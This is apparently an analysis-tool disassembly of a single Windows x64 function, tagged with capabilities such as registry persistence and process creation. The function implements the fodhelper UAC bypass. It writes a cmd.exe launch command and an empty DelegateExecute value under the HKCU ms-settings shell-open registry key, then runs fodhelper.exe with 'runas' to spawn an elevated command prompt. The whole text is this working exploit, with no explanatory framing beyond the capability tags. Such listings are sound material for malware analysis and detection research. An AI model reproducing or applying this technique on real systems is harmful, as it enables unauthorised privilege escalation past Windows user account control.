Function at 0x140001090
Capabilities:
Create process on windows
Persist via default file association registry key
Self delete
Set registry value

Disassembly:
push rbx
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0xd0]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ebx, eax
test eax, eax
je 0x14000113a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_open_or_create_reg_key._Error:
call fcn.140001400
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400015e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, ebx
call section..text
mov eax, 1
jmp 0x14000136f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Successfully_created_or_opened_reg_key
mov qword [rsp + 0xf0], rsi
call fcn.140001400
mov rcx, rax
lea rdx, [0x1400015e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x50]
lea rax, str.cmd.exe__c_start_C:WindowsSystem32cmd.exe
lea rsi, [0x14000345c]
mov dword [rsp + 0x28], 0x5a
mov rdx, rsi
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
je 0x1400011a6
lea rdx, str.Failed_to_set_reg_value._Error:
jmp 0x1400011fe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Successfully_set__Default__reg_value
call fcn.140001400
mov rcx, rax
lea rdx, [0x1400015e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x50]
lea rdx, str.DelegateExecute
mov r9d, 1
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
je 0x140001241
lea rdx, str.Failed_to_set_reg_value:_DelegateExecute._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001400
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400015e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, ebx
call section..text
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x140001367
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Successfully_set_reg_value:_DelegateExecute
call fcn.140001400
mov rcx, rax
lea rdx, [0x1400015e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [rsp + 0x60], 0x70
xor eax, eax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0xc4], rax
mov dword [rsp + 0xcc], eax
lea rax, str.runas
movups xmmword [rsp + 0x64], xmm0
mov qword [rsp + 0x68], 0
movups xmmword [rsp + 0x74], xmm0
mov qword [rsp + 0x70], rax
lea rax, str.C:WindowsSystem32_fodhelper.exe
movups xmmword [rsp + 0x84], xmm0
mov qword [rsp + 0x78], rax
movups xmmword [rsp + 0x94], xmm0
mov dword [rsp + 0x90], 1
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140001342
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov ebx, eax
cmp eax, 0x4c7
jne 0x140001314
lea rdx, str.The_user_refused_to_allow_privileges_elevation.
call fcn.140001400
jmp 0x14000132b
lea rdx, str.Unexpected_error__Error_code:
call fcn.140001400
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400015e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001367
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Successfully_created_process_..
call fcn.140001400
mov rcx, rax
lea rdx, [0x1400015e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rsi, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.140001630
add rsp, 0xe0
pop rbx
ret